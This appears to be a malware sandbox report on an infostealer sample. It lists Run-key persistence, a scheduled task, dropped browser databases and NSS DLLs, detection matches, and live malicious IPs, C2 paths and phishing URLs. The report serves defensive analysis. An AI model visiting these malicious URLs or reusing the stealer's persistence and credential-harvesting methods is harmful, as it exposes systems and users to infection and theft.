onedscolprdcus15.cent
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
13:22:32	API Interceptor	66x Sleep call for process: file.exe modified
13:23:03	API Interceptor	27408303x Sleep call for process: skotes.exe modified
13:23:13	API Interceptor	35x Sleep call for process: e7dea42e57.exe modified
19:22:48	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
19:23:17	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run e7dea42e57.exe C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe
19:23:25	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 6cb554c070.exe C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe
19:23:33	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run b39ed05e31.exe C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe
19:23:42	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run e7dea42e57.exe C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe
19:23:50	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 6cb554c070.exe C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe
19:23:58	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run b39ed05e31.exe C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.43	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	VNC Sales.xlsx	Get hash	malicious	Unknown	Browse
	https://midlandtxconstruction.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPU5VVmliM0U9JnVpZD1VU0VSMTcxMDIwMjRVMDAxMDE3NDA=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	http://customervoice.microsoft.com/Pages/ResponsePage.aspx?id=N_pyUL0QJkeR_KiXHZsVlyTB1Qoy7S9IkE8Ogzl8coFUM1RXUzBHU1RDUjlQOFBPUUE4QVRaS0pPSC4u	Get hash	malicious	HTMLPhisher	Browse
	EFT Remittance_(Rburt)CQDM.html	Get hash	malicious	Mamba2FA	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	EFT Remittance_CQDM.html	Get hash	malicious	Mamba2FA	Browse
	https://krs.microsoft.com/redirect?id=-crYd9Lj	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0016.t-0009.t-msedge.net	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	https://stopify.co/BOAZ81	Get hash	malicious	Unknown	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.44
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	https://www.photogallerybd.com/n/?c3Y9bzM2NV8xX29uZSZyYW5kPWMydFJkbWs9JnVpZD1VU0VSMjgxMDIwMjRVMjQxMDI4NTQ=N0123N	Get hash	malicious	Mamba2FA	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	Xa04iTOvv5.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	ArenaWarsSetup.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
plus.l.google.com	https://www.hopp.bio/granovitasau	Get hash	malicious	Unknown	Browse	216.58.206.46
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	216.58.206.46
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	142.250.186.78
	file.exe	Get hash	malicious	Unknown	Browse	216.58.206.46
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.186.142
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	142.250.186.46
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	142.250.185.174
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.181.238
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	142.250.185.142
	file.exe	Get hash	malicious	Cryptbot	Browse	142.250.186.174

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	https://www.hopp.bio/granovitasau	Get hash	malicious	Unknown	Browse	150.171.27.10
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.101.168.44
	vbaProject.bin.xls	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	20.189.173.25
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	x86.elf	Get hash	malicious	Unknown	Browse	40.109.172.103
	hoD5yzplb1.exe	Get hash	malicious	IcedID	Browse	13.107.246.45
	hoD5yzplb1.exe	Get hash	malicious	IcedID	Browse	13.107.246.45
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	https://www.hopp.bio/granovitasau	Get hash	malicious	Unknown	Browse	150.171.27.10
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.101.168.44
	vbaProject.bin.xls	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	20.189.173.25
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	x86.elf	Get hash	malicious	Unknown	Browse	40.109.172.103
	hoD5yzplb1.exe	Get hash	malicious	IcedID	Browse	13.107.246.45
	hoD5yzplb1.exe	Get hash	malicious	IcedID	Browse	13.107.246.45
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	https://www.hopp.bio/granovitasau	Get hash	malicious	Unknown	Browse	150.171.27.10
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.101.168.44
	vbaProject.bin.xls	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	20.189.173.25
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	x86.elf	Get hash	malicious	Unknown	Browse	40.109.172.103
	hoD5yzplb1.exe	Get hash	malicious	IcedID	Browse	13.107.246.45
	hoD5yzplb1.exe	Get hash	malicious	IcedID	Browse	13.107.246.45
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC	Browse	4.175.87.197 184.28.90.27 40.126.31.69 13.107.246.45
	https://www.hopp.bio/granovitasau	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 40.126.31.69 13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	4.175.87.197 184.28.90.27 40.126.31.69 13.107.246.45
	vbaProject.bin.xls	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 40.126.31.69 13.107.246.45
	11sds_Invoice_9334749.html	Get hash	malicious	WinSearchAbuse	Browse	4.175.87.197 184.28.90.27 40.126.31.69 13.107.246.45
	FSVAUIEMDNKSA_Invoice_Pdf.html	Get hash	malicious	WinSearchAbuse	Browse	4.175.87.197 184.28.90.27 40.126.31.69 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	4.175.87.197 184.28.90.27 40.126.31.69 13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	4.175.87.197 184.28.90.27 40.126.31.69 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	4.175.87.197 184.28.90.27 40.126.31.69 13.107.246.45
	hoD5yzplb1.exe	Get hash	malicious	IcedID	Browse	4.175.87.197 184.28.90.27 40.126.31.69 13.107.246.45
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	20.189.173.13 188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	20.189.173.13 188.114.96.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	20.189.173.13 188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	20.189.173.13 188.114.96.3
	vbaProject.bin.xls	Get hash	malicious	Unknown	Browse	20.189.173.13 188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	20.189.173.13 188.114.96.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	20.189.173.13 188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	20.189.173.13 188.114.96.3
	hoD5yzplb1.exe	Get hash	malicious	IcedID	Browse	20.189.173.13 188.114.96.3
	hoD5yzplb1.exe	Get hash	malicious	IcedID	Browse	20.189.173.13 188.114.96.3

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BAAFIJKK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BAEHIEBGHDAFIEBGIEHJECGCGC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGIJEGCG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.265102236326307
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMwSAELyKOMq+8yC8F/YfU5m+OlTLVumZ:Bq+n0Jw9ELyKOMq+8y9/OwC
MD5:	79A8432918163BA4E1E6E448FA8C063A
SHA1:	5A85BCB1A0378BA0032E420FD6F019167E03D0BA
SHA-256:	264DAB3892C41189963A8F45AAB7220BF0AFA08363DC057B0D7585C14604F4ED
SHA-512:	138B6C236772FAB18A287D7D1EDA741CB3036ED9890D0F5D60C111C73A78155D28E7E61093D9B162900E01F83F6F02783F1383A67AB04CCD1658CC63F87CA382
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBAEHCGHIIIDHIECFHJDHDGHDB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EBGDHJECFCFCAKFHCFID

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCGIJKJJKEBGHJKFIDGC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\IIJJDGHJKKJEBFHJDBGH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

